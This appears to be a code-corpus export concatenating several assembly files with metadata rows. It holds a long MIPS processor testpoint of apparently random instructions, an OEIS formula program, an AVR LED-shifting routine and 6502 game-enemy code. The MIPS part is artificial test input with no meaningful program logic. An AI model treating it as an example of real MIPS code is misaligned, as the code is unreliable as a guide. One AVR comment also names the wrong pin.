multu $3, $3
mflo $1
TAG460:
mtlo $1
multu $1, $1
mult $1, $1
add $4, $1, $1
TAG461:
mflo $1
lui $2, 9
lhu $1, 0($1)
mflo $3
TAG462:
sh $3, 0($3)
blez $3, TAG463
mult $3, $3
bgez $3, TAG463
TAG463:
lui $3, 10
addiu $3, $3, 4
lui $4, 1
bgtz $3, TAG464
TAG464:
mfhi $4
mtlo $4
sll $1, $4, 2
xori $1, $1, 7
TAG465:
mtlo $1
mthi $1
beq $1, $1, TAG466
mfhi $1
TAG466:
nor $4, $1, $1
sb $4, 8($4)
lui $1, 6
mtlo $1
TAG467:
bgtz $1, TAG468
mthi $1
addiu $3, $1, 6
mult $3, $1
TAG468:
bne $3, $3, TAG469
sltu $3, $3, $3
mflo $2
beq $3, $2, TAG469
TAG469:
mtlo $2
sll $0, $0, 0
mtlo $2
beq $2, $2, TAG470
TAG470:
andi $1, $2, 1
sll $0, $0, 0
mflo $4
andi $4, $4, 4
TAG471:
sb $4, 0($4)
mfhi $1
nor $1, $4, $1
blez $1, TAG472
TAG472:
mthi $1
bne $1, $1, TAG473
div $1, $1
mtlo $1
TAG473:
sll $0, $0, 0
multu $1, $1
divu $1, $1
lui $4, 4
TAG474:
sll $0, $0, 0
bgez $4, TAG475
sll $0, $0, 0
lw $3, 0($4)
TAG475:
sb $3, 0($3)
mthi $3
lb $3, 0($3)
or $2, $3, $3
TAG476:
sh $2, 0($2)
lhu $1, 0($2)
andi $3, $1, 14
mthi $2
TAG477:
lb $1, 0($3)
xori $1, $3, 0
bne $1, $1, TAG478
multu $3, $1
TAG478:
multu $1, $1
lui $1, 9
mthi $1
bgtz $1, TAG479
TAG479:
nor $4, $1, $1
sll $0, $0, 0
bltz $4, TAG480
srlv $4, $4, $1
TAG480:
addiu $2, $4, 14
addiu $4, $2, 5
sll $0, $0, 0
blez $3, TAG481
TAG481:
lui $4, 3
sll $0, $0, 0
bltz $4, TAG482
lui $1, 6
TAG482:
divu $1, $1
sll $0, $0, 0
lui $3, 9
mfhi $2
TAG483:
multu $2, $2
mult $2, $2
mflo $2
lui $3, 1
TAG484:
mthi $3
sll $0, $0, 0
beq $2, $2, TAG485
subu $3, $2, $2
TAG485:
lui $3, 8
mflo $4
multu $3, $3
mult $3, $4
TAG486:
blez $4, TAG487
lui $2, 7
sltiu $4, $2, 7
sll $2, $4, 13
TAG487:
mthi $2
bgtz $2, TAG488
lui $4, 6
sh $2, 0($4)
TAG488:
sll $0, $0, 0
sll $0, $0, 0
beq $4, $4, TAG489
sra $4, $4, 8
TAG489:
sb $4, -1536($4)
mfhi $3
divu $3, $4
xori $2, $4, 11
TAG490:
mtlo $2
mflo $1
multu $1, $1
div $2, $2
TAG491:
bgez $1, TAG492
sh $1, -1547($1)
lui $1, 1
sll $1, $1, 11
TAG492:
sll $1, $1, 2
mfhi $4
mthi $4
mfhi $2
TAG493:
multu $2, $2
mtlo $2
mfhi $4
sh $2, 0($2)
TAG494:
bne $4, $4, TAG495
mfhi $3
lui $2, 13
lb $1, 0($4)
TAG495:
sb $1, 0($1)
lhu $1, 0($1)
beq $1, $1, TAG496
sra $1, $1, 3
TAG496:
lui $3, 2
slt $1, $1, $1
nor $2, $3, $1
srlv $4, $1, $2
TAG497:
mflo $2
sh $4, 0($2)
lui $1, 13
multu $4, $4
TAG498:
sll $0, $0, 0
xori $2, $1, 10
nor $2, $1, $2
blez $2, TAG499
TAG499:
lui $2, 1
divu $2, $2
sll $0, $0, 0
xori $4, $2, 3
TAG500:
sll $0, $0, 0
sll $0, $0, 0
bltz $4, TAG501
divu $4, $4
TAG501:
sll $0, $0, 0
ori $2, $4, 12
bne $4, $2, TAG502
addiu $4, $4, 0
TAG502:
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
blez $4, TAG503
TAG503:
srl $3, $4, 15
sll $4, $3, 15
bgtz $4, TAG504
mfhi $3
TAG504:
bltz $3, TAG505
multu $3, $3
andi $2, $3, 2
mflo $3
TAG505:
addiu $3, $3, 8
mflo $3
multu $3, $3
lui $4, 1
TAG506:
divu $4, $4
sll $0, $0, 0
divu $4, $4
srav $4, $4, $4
TAG507:
sll $0, $0, 0
beq $3, $4, TAG508
mtlo $3
mthi $4
TAG508:
addu $3, $3, $3
sw $3, 0($3)
sh $3, 0($3)
mtlo $3
TAG509:
lb $2, 0($3)
mfhi $2
sll $0, $0, 0
blez $3, TAG510
TAG510:
mflo $3
mflo $1
sltiu $1, $1, 9
lui $4, 6
TAG511:
sll $0, $0, 0
sll $0, $0, 0
beq $4, $4, TAG512
mthi $4
TAG512:
mthi $4
divu $4, $4
lui $2, 0
sh $2, 0($2)
TAG513:
sub $2, $2, $2
bltz $2, TAG514
sll $3, $2, 14
sll $1, $2, 15
TAG514:
bgez $1, TAG515
lui $2, 7
lb $4, 0($2)
mult $2, $2
TAG515:
slt $1, $4, $4
blez $1, TAG516
mult $4, $1
lhu $2, 0($4)
TAG516:
bltz $2, TAG517
mtlo $2
addu $4, $2, $2
bgtz $4, TAG517
TAG517:
lui $2, 9
mfhi $4
xor $3, $4, $4
bgtz $2, TAG518
TAG518:
lui $3, 15
ori $1, $3, 0
bltz $1, TAG519
sll $0, $0, 0
TAG519:
divu $2, $2
lui $3, 1
lui $4, 12
lui $1, 2
TAG520:
lui $2, 10
bgtz $2, TAG521
sll $0, $0, 0
divu $1, $1
TAG521:
bne $1, $1, TAG522
mflo $3
div $1, $3
lbu $3, 0($3)
TAG522:
mthi $3
beq $3, $3, TAG523
sw $3, 0($3)
add $3, $3, $3
TAG523:
lbu $4, 0($3)
lui $4, 6
slti $2, $4, 5
divu $4, $4
TAG524:
mtlo $2
bgez $2, TAG525
srav $3, $2, $2
bne $2, $3, TAG525
TAG525:
mult $3, $3
beq $3, $3, TAG526
multu $3, $3
bne $3, $3, TAG526
TAG526:
lui $3, 5
sll $0, $0, 0
mtlo $3
bne $3, $3, TAG527
TAG527:
mthi $3
sll $0, $0, 0
and $3, $3, $3
bgez $3, TAG528
TAG528:
sll $0, $0, 0
lui $1, 4
sll $0, $0, 0
mult $3, $1
TAG529:
blez $1, TAG530
sll $0, $0, 0
lui $1, 13
mult $1, $1
TAG530:
sll $3, $1, 5
bgtz $1, TAG531
sll $0, $0, 0
mtlo $3
TAG531:
beq $3, $3, TAG532
lui $1, 14
bgez $1, TAG532
andi $4, $3, 0
TAG532:
mtlo $4
bne $4, $4, TAG533
xor $3, $4, $4
sll $0, $0, 0
TAG533:
mthi $2
sw $2, 0($2)
mult $2, $2
blez $2, TAG534
TAG534:
slt $1, $2, $2
lw $2, 0($2)
lhu $1, 0($2)
bgtz $2, TAG535
TAG535:
add $3, $1, $1
sb $1, 0($1)
mult $3, $3
sw $1, 0($1)
TAG536:
mtlo $3
sltiu $4, $3, 0
mtlo $3
sltiu $2, $4, 4
TAG537:
slt $1, $2, $2
mult $2, $1
mult $2, $2
mult $1, $1
TAG538:
mtlo $1
mfhi $2
subu $3, $2, $2
mfhi $3
TAG539:
sb $3, 0($3)
slti $4, $3, 5
mult $4, $4
mtlo $3
TAG540:
bne $4, $4, TAG541
subu $1, $4, $4
bltz $1, TAG541
sb $4, 0($1)
TAG541:
bgez $1, TAG542
ori $4, $1, 7
bne $1, $4, TAG542
divu $1, $1
TAG542:
mthi $4
lui $3, 3
lb $3, 0($4)
bne $4, $3, TAG543
TAG543:
srl $2, $3, 1
mflo $2
mflo $1
lbu $3, 0($3)
TAG544:
lbu $3, 0($3)
sltu $1, $3, $3
bltz $3, TAG545
multu $3, $3
TAG545:
andi $3, $1, 13
mtlo $3
mflo $2
mtlo $2
TAG546:
mtlo $2
lw $1, 0($2)
beq $1, $2, TAG547
srlv $1, $2, $2
TAG547:
bne $1, $1, TAG548
multu $1, $1
addiu $1, $1, 7
sra $1, $1, 4
TAG548:
lb $1, 0($1)
lbu $2, 0($1)
sw $2, 0($2)
slti $4, $1, 1
TAG549:
sra $3, $4, 4
slt $4, $4, $3
bltz $4, TAG550
addi $3, $3, 14
TAG550:
lui $2, 5
bne $3, $3, TAG551
lui $4, 0
slti $1, $4, 13
TAG551:
lui $3, 1
beq $1, $3, TAG552
mtlo $3
lui $2, 10
TAG552:
sll $0, $0, 0
addiu $3, $2, 12
subu $1, $2, $2
bne $1, $1, TAG553
TAG553:
addiu $1, $1, 8
bltz $1, TAG554
sb $1, 0($1)
lui $2, 9
TAG554:
mtlo $2
mflo $1
mflo $4
sltiu $3, $1, 0
TAG555:
mtlo $3
lui $2, 2
mtlo $3
sb $2, 0($3)
TAG556:
mfhi $2
lui $1, 8
and $1, $2, $2
bne $2, $2, TAG557
TAG557:
multu $1, $1
lw $3, 0($1)
mthi $3
sh $3, 0($1)
TAG558:
bne $3, $3, TAG559
lui $1, 8
beq $1, $1, TAG559
andi $4, $3, 15
TAG559:
beq $4, $4, TAG560
lui $3, 9
bne $4, $3, TAG560
xor $3, $4, $3
TAG560:
addiu $3, $3, 14
sll $0, $0, 0
lui $3, 11
lui $2, 8
TAG561:
sll $0, $0, 0
sll $0, $0, 0
divu $2, $1
mult $1, $1
TAG562:
multu $1, $1
sll $0, $0, 0
xor $4, $1, $1
andi $2, $4, 0
TAG563:
addi $4, $2, 6
mflo $2
mfhi $3
lui $3, 1
TAG564:
bgez $3, TAG565
mult $3, $3
mtlo $3
lui $4, 14
TAG565:
sllv $2, $4, $4
mflo $3
mfhi $2
sb $3, 0($3)
TAG566:
blez $2, TAG567
srav $4, $2, $2
bne $4, $2, TAG567
div $4, $2
TAG567:
blez $4, TAG568
nor $1, $4, $4
bgtz $4, TAG568
lui $3, 13
TAG568:
mult $3, $3
bne $3, $3, TAG569
and $1, $3, $3
slt $1, $3, $1
TAG569:
addiu $3, $1, 13
mflo $4
sh $3, 0($4)
lui $4, 2
TAG570:
sll $0, $0, 0
sll $0, $0, 0
sub $3, $3, $1
bltz $4, TAG571
TAG571:
lb $3, 0($3)
bne $3, $3, TAG572
addiu $4, $3, 10
bne $3, $4, TAG572
TAG572:
addiu $4, $4, 0
sh $4, 0($4)
mfhi $4
mtlo $4
TAG573:
sb $4, 0($4)
sh $4, 0($4)
lui $3, 9
sltu $4, $3, $4
TAG574:
bne $4, $4, TAG575
lb $1, 0($4)
mfhi $4
mtlo $1
TAG575:
lui $4, 1
bgez $4, TAG576
lui $1, 10
div $4, $4
TAG576:
bgtz $1, TAG577
xor $2, $1, $1
sw $2, 0($2)
bgez $2, TAG577
TAG577:
multu $2, $2
lui $3, 12
sll $0, $0, 0
srl $3, $3, 15
TAG578:
bgtz $3, TAG579
multu $3, $3
div $3, $3
lui $1, 9
TAG579:
bne $1, $1, TAG580
sll $0, $0, 0
lui $4, 8
subu $1, $4, $1
TAG580:
mtlo $1
mtlo $1
sll $0, $0, 0
addu $1, $1, $1
TAG581:
xori $3, $1, 5
mthi $1
blez $3, TAG582
sll $0, $0, 0
TAG582:
mflo $1
divu $1, $3
lui $1, 8
mfhi $3
TAG583:
mflo $3
blez $3, TAG584
mflo $3
beq $3, $3, TAG584
TAG584:
sltiu $1, $3, 10
sllv $3, $3, $3
beq $1, $1, TAG585
mult $3, $3
TAG585:
bgez $3, TAG586
lhu $2, 0($3)
addi $2, $2, 4
lw $1, 0($3)
TAG586:
mflo $4
mfhi $3
lb $4, 0($4)
beq $1, $3, TAG587
TAG587:
lui $1, 6
sb $1, 0($4)
srl $3, $1, 1
sll $0, $0, 0
TAG588:
sll $0, $0, 0
bltz $3, TAG589
lui $2, 6
mflo $2
TAG589:
bne $2, $2, TAG590
sb $2, 0($2)
sw $2, 0($2)
mfhi $3
TAG590:
mult $3, $3
lui $2, 7
bne $2, $3, TAG591
multu $2, $2
TAG591:
sll $0, $0, 0
beq $2, $2, TAG592
mfhi $1
lui $3, 8
TAG592:
blez $3, TAG593
mult $3, $3
mtlo $3
addiu $1, $3, 13
TAG593:
beq $1, $1, TAG594
lb $3, 0($1)
mult $3, $1
addi $3, $1, 4
TAG594:
lw $4, 0($3)
lui $4, 14
sll $0, $0, 0
mthi $3
TAG595:
lw $1, 0($3)
bgtz $1, TAG596
lb $2, 0($1)
lbu $2, 0($1)
TAG596:
bgez $2, TAG597
multu $2, $2
beq $2, $2, TAG597
andi $4, $2, 4
TAG597:
bne $4, $4, TAG598
srl $2, $4, 5
mtlo $2
lui $2, 3
TAG598:
bgez $2, TAG599
sll $0, $0, 0
mflo $3
sb $3, 0($3)
TAG599:
ori $1, $3, 13
subu $1, $3, $3
nor $2, $1, $1
bgez $1, TAG600
TAG600:
mfhi $1
lw $2, 0($1)
sw $2, 0($2)
lb $1, 0($1)
TAG601:
mthi $1
mflo $1
sb $1, -28672($1)
multu $1, $1
TAG602:
beq $1, $1, TAG603
mthi $1
divu $1, $1
mflo $2
TAG603:
srlv $4, $2, $2
lui $4, 12
sll $0, $0, 0
mtlo $4
TAG604:
beq $4, $4, TAG605
mflo $3
lui $1, 6
beq $3, $3, TAG605
TAG605:
srl $1, $1, 1
lb $1, -14336($1)
mtlo $1
addi $1, $1, 12
TAG606:
mfhi $4
mthi $1
lui $2, 11
bne $2, $4, TAG607
TAG607:
or $2, $2, $2
mult $2, $2
srl $1, $2, 8
div $1, $1
TAG608:
blez $1, TAG609
addiu $2, $1, 0
mflo $2
sltu $2, $2, $2
TAG609:
mult $2, $2
multu $2, $2
mult $2, $2
lb $3, 0($2)
TAG610:
lb $2, 0($3)
sw $2, 0($3)
lh $3, 0($2)
sb $2, 0($3)
TAG611:
lui $2, 12
mthi $2
lui $4, 2
sw $3, 0($3)
TAG612:
lui $3, 9
lui $4, 6
lui $1, 3
beq $4, $3, TAG613
TAG613:
lui $4, 14
multu $1, $4
mthi $4
sllv $3, $4, $4
TAG614:
beq $3, $3, TAG615
lui $3, 6
mthi $3
mthi $3
TAG615:
srlv $3, $3, $3
mfhi $1
beq $3, $1, TAG616
mthi $3
TAG616:
bne $1, $1, TAG617
mfhi $3
mtlo $3
multu $1, $1
TAG617:
lui $2, 2
xor $3, $2, $3
xor $2, $2, $3
bgez $3, TAG618
TAG618:
sll $0, $0, 0
sll $0, $0, 0
blez $1, TAG619
sll $0, $0, 0
TAG619:
mtlo $3
subu $2, $3, $3
sll $0, $0, 0
multu $3, $2
TAG620:
bgtz $2, TAG621
add $3, $2, $2
mflo $2
addu $4, $3, $2
TAG621:
and $3, $4, $4
sb $4, 0($3)
blez $4, TAG622
sll $4, $4, 7
TAG622:
mfhi $4
mflo $3
mfhi $2
sh $4, 0($3)
TAG623:
mfhi $1
or $2, $1, $2
bltz $2, TAG624
slt $2, $2, $2
TAG624:
mflo $3
bne $3, $3, TAG625
lb $3, 0($2)
multu $3, $3
TAG625:
lbu $2, 0($3)
lbu $1, 0($2)
beq $3, $2, TAG626
slti $4, $3, 9
TAG626:
lbu $4, 0($4)
srl $3, $4, 3
mthi $4
lui $1, 3
TAG627:
srav $4, $1, $1
mtlo $1
divu $1, $1
sltu $3, $4, $4
TAG628:
srl $2, $3, 11
sh $2, 0($2)
mthi $2
mthi $3
TAG629:
mtlo $2
sh $2, 0($2)
lui $1, 9
bltz $1, TAG630
TAG630:
mfhi $4
sll $3, $4, 3
lui $2, 15
mtlo $1
TAG631:
mtlo $2
or $3, $2, $2
lui $1, 5
bgtz $2, TAG632
TAG632:
sll $0, $0, 0
sll $0, $0, 0
mtlo $2
mfhi $2
TAG633:
bne $2, $2, TAG634
sub $1, $2, $2
lh $4, 0($1)
lh $2, 0($2)
TAG634:
addi $4, $2, 5
divu $4, $4
mult $4, $4
lui $1, 6
TAG635:
sll $0, $0, 0
or $1, $1, $1
addiu $1, $1, 13
lui $3, 4
TAG636:
divu $3, $3
lui $3, 8
mfhi $3
lui $2, 13
TAG637:
mfhi $3
mfhi $2
subu $2, $2, $2
mtlo $2
TAG638:
xori $1, $2, 11
mthi $1
mfhi $4
div $2, $4
TAG639:
bne $4, $4, TAG640
xori $2, $4, 1
beq $2, $2, TAG640
and $3, $2, $4
TAG640:
bgez $3, TAG641
mthi $3
xori $1, $3, 1
bne $3, $1, TAG641
TAG641:
slt $4, $1, $1
mult $1, $4
mtlo $1
lb $1, 0($1)
TAG642:
sub $4, $1, $1
mthi $1
mthi $1
bltz $4, TAG643
TAG643:
sw $4, 0($4)
srlv $3, $4, $4
blez $4, TAG644
multu $3, $4
TAG644:
bgtz $3, TAG645
sb $3, 0($3)
bne $3, $3, TAG645
mfhi $4
TAG645:
sb $4, 0($4)
subu $4, $4, $4
mfhi $4
multu $4, $4
TAG646:
lui $2, 0
xori $2, $2, 10
mult $2, $2
nor $1, $4, $2
TAG647:
div $1, $1
mthi $1
bgtz $1, TAG648
lui $2, 14
TAG648:
bgtz $2, TAG649
mflo $3
bgtz $3, TAG649
divu $2, $2
TAG649:
addu $1, $3, $3
mfhi $1
bne $1, $1, TAG650
lw $4, 11($1)
TAG650:
mfhi $3
xor $4, $4, $4
blez $4, TAG651
mult $3, $3
TAG651:
mfhi $1
sh $1, 0($4)
mfhi $1
lui $2, 11
TAG652:
divu $2, $2
divu $2, $2
sll $0, $0, 0
lb $1, 0($4)
TAG653:
multu $1, $1
multu $1, $1
sub $3, $1, $1
lui $2, 4
TAG654:
mflo $1
bgez $1, TAG655
mfhi $3
sh $1, 0($2)
TAG655:
lbu $1, 0($3)
multu $3, $3
sb $3, 0($3)
blez $1, TAG656
TAG656:
multu $1, $1
beq $1, $1, TAG657
lw $4, 0($1)
divu $4, $4
TAG657:
mfhi $3
bne $3, $3, TAG658
lui $1, 11
sh $4, 0($3)
TAG658:
sll $0, $0, 0
beq $3, $1, TAG659
sll $0, $0, 0
lb $2, 0($3)
TAG659:
multu $2, $2
mult $2, $2
mult $2, $2
sra $2, $2, 14
TAG660:
bne $2, $2, TAG661
sltiu $2, $2, 0
bltz $2, TAG661
mfhi $3
TAG661:
lui $4, 11
sra $3, $3, 2
lui $3, 4
bgtz $3, TAG662
TAG662:
multu $3, $3
sll $0, $0, 0
sll $0, $0, 0
mfhi $2
TAG663:
or $4, $2, $2
sllv $2, $4, $2
sll $0, $0, 0
mtlo $4
TAG664:
beq $2, $2, TAG665
sll $0, $0, 0
beq $2, $2, TAG665
sb $2, 0($2)
TAG665:
multu $2, $2
sll $0, $0, 0
lb $4, 0($4)
sw $2, 0($4)
TAG666:
bgez $4, TAG667
subu $4, $4, $4
mtlo $4
mthi $4
TAG667:
sb $4, 0($4)
mthi $4
beq $4, $4, TAG668
lw $3, 0($4)
TAG668:
mthi $3
lw $2, 0($3)
andi $3, $2, 4
mtlo $3
TAG669:
sb $3, 0($3)
lui $2, 15
multu $2, $3
beq $2, $2, TAG670
TAG670:
sltiu $4, $2, 9
bne $2, $2, TAG671
lui $1, 8
srav $1, $2, $4
TAG671:
sll $0, $0, 0
mthi $1
mfhi $3
div $1, $3
TAG672:
mtlo $3
mtlo $3
mtlo $3
mthi $3
TAG673:
sll $0, $0, 0
sllv $1, $3, $3
lui $2, 14
multu $3, $2
TAG674:
mflo $4
lui $3, 10
bgez $4, TAG675
sll $0, $0, 0
TAG675:
sll $0, $0, 0
slt $2, $3, $3
mtlo $2
divu $2, $3
TAG676:
sll $3, $2, 11
mult $2, $3
xori $4, $2, 11
sb $2, 0($4)
TAG677:
mtlo $4
lui $4, 14
mfhi $2
mult $2, $2
TAG678:
lui $4, 15
ori $2, $4, 11
lui $2, 5
sll $0, $0, 0
TAG679:
and $1, $4, $4
multu $1, $4
beq $4, $4, TAG680
mflo $3
TAG680:
mult $3, $3
mthi $3
lbu $4, 0($3)
mthi $4
TAG681:
lbu $3, 0($4)
lui $3, 12
bgez $3, TAG682
sll $0, $0, 0
TAG682:
blez $3, TAG683
divu $3, $3
multu $3, $3
blez $3, TAG683
TAG683:
mfhi $4
bltz $4, TAG684
andi $2, $3, 15
mtlo $2
TAG684:
subu $2, $2, $2
mthi $2
mthi $2
lui $1, 11
TAG685:
sll $0, $0, 0
sll $0, $0, 0
sltiu $2, $1, 8
sltiu $2, $1, 8
TAG686:
mfhi $3
addiu $4, $3, 6
mfhi $2
lui $3, 13
TAG687:
bne $3, $3, TAG688
lui $3, 0
bgtz $3, TAG688
multu $3, $3
TAG688:
blez $3, TAG689
mflo $3
mtlo $3
mfhi $2
TAG689:
mtlo $2
lui $2, 12
blez $2, TAG690
sll $0, $0, 0
TAG690:
lui $4, 9
multu $4, $4
sll $0, $0, 0
blez $2, TAG691
TAG691:
sll $0, $0, 0
mtlo $1
bgez $1, TAG692
multu $1, $1
TAG692:
bgez $1, TAG693
xori $4, $1, 15
bgez $1, TAG693
mtlo $4
TAG693:
sll $0, $0, 0
sll $0, $0, 0
beq $4, $2, TAG694
sll $0, $0, 0
TAG694:
subu $4, $2, $2
mult $4, $4
multu $2, $4
mflo $2
TAG695:
sw $2, 0($2)
lui $1, 14
bne $1, $2, TAG696
divu $2, $1
TAG696:
lui $4, 9
blez $4, TAG697
sll $3, $4, 2
divu $4, $1
TAG697:
lui $3, 9
srlv $3, $3, $3
addiu $4, $3, 8
sll $0, $0, 0
TAG698:
or $2, $4, $4
sll $0, $0, 0
addiu $1, $3, 13
mtlo $1
TAG699:
sll $0, $0, 0
lui $2, 14
bgez $1, TAG700
sll $0, $0, 0
TAG700:
sllv $1, $4, $4
div $1, $4
beq $4, $4, TAG701
sll $4, $4, 9
TAG701:
mthi $4
mthi $4
sll $0, $0, 0
mtlo $4
TAG702:
lui $1, 3
lui $2, 7
sll $0, $0, 0
bne $1, $1, TAG703
TAG703:
sll $0, $0, 0
lui $4, 6
bne $4, $4, TAG704
mtlo $4
TAG704:
sll $4, $4, 1
mthi $4
sll $2, $4, 11
bgez $4, TAG705
TAG705:
lui $2, 5
sll $0, $0, 0
bgtz $2, TAG706
addu $1, $2, $2
TAG706:
addiu $4, $1, 14
lui $1, 6
div $1, $1
div $4, $4
TAG707:
xori $2, $1, 6
addiu $1, $1, 3
bgez $2, TAG708
sll $3, $2, 5
TAG708:
beq $3, $3, TAG709
sll $0, $0, 0
mflo $1
div $3, $3
TAG709:
lui $1, 6
div $1, $1
lui $2, 15
sll $0, $0, 0
TAG710:
bne $2, $2, TAG711
mtlo $2
xor $4, $2, $2
sll $0, $0, 0
TAG711:
mult $4, $4
mthi $4
sb $4, 0($4)
lui $1, 4
TAG712:
or $3, $1, $1
sltiu $3, $3, 15
sll $0, $0, 0
srav $3, $3, $3
TAG713:
andi $1, $3, 12
sh $1, 0($3)
ori $3, $3, 5
sb $3, 0($3)
TAG714:
lui $2, 8
sb $2, 0($3)
bltz $2, TAG715
sll $3, $3, 11
TAG715:
subu $3, $3, $3
lui $4, 14
bltz $3, TAG716
sh $3, 0($3)
TAG716:
mflo $4
and $2, $4, $4
mult $4, $2
mfhi $4
TAG717:
mflo $3
nor $2, $4, $4
mthi $2
mtlo $3
TAG718:
sll $0, $0, 0
mflo $2
mtlo $3
mtlo $2
TAG719:
lb $4, 0($2)
sh $4, 0($4)
lui $4, 11
sh $4, 0($2)
TAG720:
srl $4, $4, 13
bgez $4, TAG721
lh $3, 0($4)
lui $2, 8
TAG721:
bgtz $2, TAG722
mflo $3
sll $4, $2, 0
beq $2, $2, TAG722
TAG722:
sw $4, 0($4)
lw $3, 0($4)
addiu $3, $4, 1
divu $4, $3
TAG723:
sltiu $1, $3, 0
bgez $3, TAG724
multu $1, $3
bne $3, $3, TAG724
TAG724:
lui $2, 5
mthi $1
mfhi $4
mthi $4
TAG725:
mthi $4
bltz $4, TAG726
mult $4, $4
sltu $3, $4, $4
TAG726:
slt $1, $3, $3
sw $3, 0($1)
mthi $1
mthi $1
TAG727:
lui $4, 4
lui $1, 8
lui $4, 13
sllv $1, $4, $1
TAG728:
sll $0, $0, 0
lui $3, 1
mthi $1
xori $4, $1, 7
TAG729:
lui $3, 6
sll $0, $0, 0
sll $4, $4, 15
mfhi $3
TAG730:
sll $0, $0, 0
sll $0, $0, 0
mthi $3
bne $3, $3, TAG731
TAG731:
sltu $3, $3, $3
beq $3, $3, TAG732
lh $1, 0($3)
bltz $3, TAG732
TAG732:
sh $1, 0($1)
mflo $1
lui $3, 14
bne $3, $1, TAG733
TAG733:
div $3, $3
addu $4, $3, $3
divu $4, $4
nor $3, $4, $3
TAG734:
mtlo $3
lui $1, 7
bgtz $1, TAG735
mthi $3
TAG735:
sll $0, $0, 0
div $1, $1
mult $2, $1
bltz $1, TAG736
TAG736:
addiu $1, $2, 11
sllv $4, $1, $1
beq $4, $1, TAG737
srlv $2, $2, $2
TAG737:
sll $0, $0, 0
sll $0, $0, 0
mfhi $2
sltiu $2, $2, 7
TAG738:
and $4, $2, $2
mfhi $3
lhu $2, 0($2)
lh $4, 0($2)
TAG739:
bltz $4, TAG740
sub $3, $4, $4
mtlo $4
mflo $2
TAG740:
bne $2, $2, TAG741
mfhi $3
bne $3, $3, TAG741
mfhi $3
TAG741:
lbu $4, 0($3)
andi $2, $4, 2
lui $3, 10
lui $3, 2
TAG742:
bltz $3, TAG743
subu $1, $3, $3
lui $1, 5
addiu $3, $1, 4
TAG743:
mthi $3
divu $3, $3
mflo $2
nor $2, $3, $3
TAG744:
mfhi $4
mthi $4
or $1, $2, $2
mfhi $2
TAG745:
lhu $1, 0($2)
multu $2, $1
mthi $2
multu $1, $2
TAG746:
lbu $3, 0($1)
mtlo $3
sllv $2, $1, $1
bne $1, $1, TAG747
TAG747:
addiu $3, $2, 4
multu $2, $2
bgez $2, TAG748
multu $3, $3
TAG748:
lbu $3, 0($3)
sb $3, 0($3)
div $3, $3
lui $3, 9
TAG749:
mthi $3
sll $0, $0, 0
sll $0, $0, 0
slt $1, $3, $3
TAG750:
nop
nop
test_end:
beq $0, $0, test_end
nop
| 11.888977 | 21 | 0.545993 | [
"Apache-2.0"
] | alxzzhou/BUAA_CO_2020 | P6/data_P6/testpoint/testpoint2.asm | 45,083 | Assembly |
; A017536: (12n+1)^4.
; 1,28561,390625,1874161,5764801,13845841,28398241,52200625,88529281,141158161,214358881,312900721,442050625,607573201,815730721,1073283121,1387488001,1766100625,2217373921
mul $0,12
add $0,1
pow $0,4
| 32 | 172 | 0.803571 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/017/A017536.asm | 224 | Assembly |
.include "m16def.inc"
start:
ldi r24 , low(RAMEND) ;Initializing stack pointer.
out SPL , r24
ldi r24 , high(RAMEND)
out SPH , r24
ser r24 ;Setting PORTA for output.
out DDRA , r24
clr r26
out DDRB,r26 ;Setting PORTB for input.
ldi r27,0x01 ;Register r27 represents the moving led on PortA.
ldi r28,0x00 ;Register r28 is a flag for led's direction.
process:
out PORTA,r27
ldi r24 , low(500) ;Setting r24,r25 value for the msec routine.
ldi r25 , high(500) ;We need to wait 0.5 sec = 500 msec so r25:r24 = 500.
rcall wait_msec
in r26,PINB ;Read PORTB input.
andi r26,0x01
cpi r26,0x01 ;Check if PB0 is 1.
breq process
cpi r28,0x00
breq left
rjmp right
left:
lsl r27 ;Left shift logical of the moving led.
out PORTA,r27
cpi r27,0x80 ;Check if moving led is at PA7 (left limit).
brne process
ldi r28,0x01 ;If moving led at PA7 set flag at 1 so we move right.
rjmp process
right:
lsr r27 ;Right shift logical of the moving led.
out PORTA,r27
cpi r27,0x01 ;Check if moving led is at PA7 (left limit). `
brne process
ldi r28,0x00 ;If moving led at PA0 set flag at 0 so we move left.
rjmp process
wait_usec:
sbiw r24 ,1
nop
nop
nop
nop
brne wait_usec
ret
wait_msec:
push r24
push r25
ldi r24 , low(998)
ldi r25 , high(998)
rcall wait_usec
pop r25
pop r24
sbiw r24 , 1
brne wait_msec
ret | 22.333333 | 78 | 0.647897 | [
"MIT"
] | PolyviosPap/-Microprocessors-Laboratory-NTUA | 3rd set/ask3.1.asm | 1,474 | Assembly |
incasm "macroMath.asm"
num_enemies byte 0
; Whether this enemy exists
enemy_exists dcb 10,0
; The theta is from 0 to $a0
enemy_theta dcb 10,0
; The radius from -127 to +127
enemy_radius dcb 10,0
; Equivalent x & y locations, maybe.
enemy_x dcw 10,0
enemy_y dcw 10,0
; Enumeration of enemy types
NONE=0
SQUARE_BLOCK=1
PYRAMID_BLOCK=2
TANK_ENEMY=3
UFO_ENEMY=4
TRIANGULAR_TANK_ENEMY=5
enemy_type dcb 10,0
; Health level of each enemy
enemy_health dcb 10,0
;; Create a random # of enemies and populate the arrays
;; Inputs: none
;; Outputs: none
;; Side effects: destroys a, x, y
create_enemies
; pick a random number
ldx #12 ; decided by fair dice roll
stx num_enemies
ldx #0
create_enemy
lda #1
sta enemy_exists,x
RND
sta enemy_health,x
; pick a radius
RND
;txa
;asl
;asl
;asl
;asl
;asl ; * 32
sta enemy_radius,x
RND
; Change to a random number between 0 and 3
and #3
clc
adc #1 ; now 1-4...ignore type 5 for now.
sta enemy_type,x
; pick theta
RND
;txa
;asl
;asl
;asl
;asl ; * 16
; can only go from 0 to 160, so if it's too big, truncate
cmp #161
blt store_theta
sec
sbc #160
store_theta sta enemy_theta,x
inx
cpx num_enemies
bne create_enemy
rts
;; Plot all enemies in the polar circle
;; Inputs: none
;; Outputs: none
;; Side effects: destroys a, x, y
plot_enemies lda #0 ; enemy #
pha ; stack has enemy #
tax
next_enemy ; x must be enemy # (index)
lda enemy_radius,x
lsr
lsr
lsr
lsr
tay ; radius in y
lda enemy_theta,x
tax
; theta in x, radius in y, output in polar_result
jsr polar_to_screen
; poke it in the fake radar
lda #<POLAR_CENTER ; sweep_org
clc
adc polar_result
sta polar_result
lda #>POLAR_CENTER ; sweep_org
adc polar_result+1
sta polar_result+1
ldy #0
; TODO: use the enemy type for the plot
; lda #'x'
pla ; a has index
; increase by 1, so we start plotting from "A" and not "@"
clc
adc #1
sta (polar_result),y
tax ; x has index
pha ; push next index onto stack
cmp num_enemies
bne next_enemy
